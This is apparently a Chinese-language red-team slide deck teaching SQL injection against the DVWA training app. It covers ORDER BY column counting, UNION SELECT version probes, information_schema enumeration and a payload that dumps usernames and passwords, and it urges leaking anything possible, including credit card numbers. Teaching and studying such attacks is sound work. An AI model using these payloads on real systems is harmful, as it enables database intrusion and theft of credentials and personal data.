{%hackmd theme-dark %} <!-- [TOC] --> # SQL-Injection ###### `2020/03/14 Red-Team` --- # $~ whoami #### `Jeff Hung` --- ## 資料庫架構語法 > Database >>Table >>>Column >>>>Row >>>>Value ---- ### 看不是很懂??? ---- ### 可以這樣理解 - 注意:SELECT後是加Column的名稱 ![](https://i.imgur.com/j26ZmXl.jpg) --- ## 測試id ![](https://i.imgur.com/cxVbDOG.png) ---- 最直觀: ```sql= id = 1 ``` 有些格式長這樣: ```sql= id = '1' id = "1" ``` ---- ### 如何找全部id? ```sql= 1' OR '1'='1 ``` ---- ## 最重要的是找欄位數量 ---- ### WHY? ![](https://i.imgur.com/fJ71V9b.jpg) ---- ### 為了使用SQL語法裡的UNION SELECT * **UNION SELECT** 使用限制 * 與前面的欄位要相同 ```sql= SELECT id, name FROM users WHERE user_id='1' UNION SELECT xxx,yyy ``` ---- ### 不禁有人會問,怎麼找? ---- ### 可以使用ORDER BY ```sql= SELECT id, name FROM users WHERE user_id=' 1' ORDER BY 1#'' ``` ``` - 1' -> 1可以隨便打,'用來閉合前面單引號 - ORDER BY -> 用來排序 - 1# -> 使用第1欄位當排序並註解 - ' -> 用來用來閉合後面單引號 ``` ---- ### 那要怎麼判斷有幾個欄位? ---- ### 調整1' ORDER BY <font color="#f00">X</font>#' ### 直到出現錯誤 ![](https://i.imgur.com/DU3oDov.jpg) 答案揭曉!總共兩個欄位 ---- ### 原因 - 1' order by 3#' -> **臨界點** - 若以不存在的欄位搜尋,則會出現上一頁錯誤 - 因此發現可以使用的欄位總共兩個 ---- ### UNION SELECT 使用 ```sql= 1' UNION SELECT 1,2 #' ``` ---- ### 知道了欄位個數,可否找資料庫的version? ---- ### 透過version()可以找MySQL版本 ```sql= 1' UNION SELECT version(),2 #' ``` ``` - 2可以隨便打,只是用來湊欄位個數 ``` ---- ### 其他資料庫版本 - MySQL: version() - MSSQL: @@version - Oracle: v$version(Table) - SQLite: sqlite_version() --- # SQL-Injection # 三部曲 ---- :::spoiler 第一部 先找資料庫名 ```sql= SELECT schema_name FROM information_schema.schemata --得database名稱XXX ``` ::: :::spoiler 第二部 再找表格名稱 ```sql= SELECT table_name FROM information_schema.tables WHERE table_schema="XXX" --得Table名稱YYY ``` ::: :::spoiler 第三部 最後找欄位名 ```sql= SELECT column_name FROM information_schema.columns WHERE table_schema="YYY" ``` ::: :::success 恣意操弄資料庫 ::: ```sql= SELECT password FROM users ``` --- # 查Database ::: spoiler [法一] ```sql= 1' union SELECT information_schema.TABLES.TABLE_SCHEMA,2 FROM information_schema.TABLES#'' ``` ::: ::: spoiler [法二] ```sql= 1' union SELECT schema_name,2 FROM information_schema.schemata #' ``` ::: --- # 查Table ::: spoiler [法一] ```sql= 1' union SELECT information_schema.TABLES.TABLE_SCHEMA,2 FROM information_schema.TABLES#'' ``` ::: ::: spoiler [法二] ```sql= 1' union SELECT table_name,2 FROM information_schema.tables WHERE table_schema="dvwa" #' ``` ::: --- # 查Columns ```sql= 1' union select TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS where table_schema="dvwa" #' ``` --- # 任意取值 * e.g. * user_name * password * credit_card_number * ID * etc... ###### `LEAK ANYTHING YOU CAN LEAK!!` ---- ``` sql= 1' union select user,password from users #'' ``` ![](https://i.imgur.com/Gn8nbEp.jpg =80%x) --- # 推薦Navicat<br>連線資料庫 ![](https://i.imgur.com/d8banoa.png) ---- * 優點 * 跨平台 * 有效率遷移資料 * 資料可以視覺化 * 缺點 * 非開源,需要收費 <br> ###### `不方便說有破解版XD` ---- 軟體畫面 ![](https://i.imgur.com/X9ZNWVu.jpg) ---- # SQLMap使用 --- # 實際案例教學 --- # 謝謝大家
{"metaMigratedAt":"2023-06-15T05:37:02.816Z","metaMigratedFrom":"YAML","title":"SQL-Injection","breaks":true,"description":"Database","contributors":"[{\"id\":\"6a610fe4-c967-47b5-84b7-1d26faef3c47\",\"add\":6267,\"del\":3091}]"}
    723 views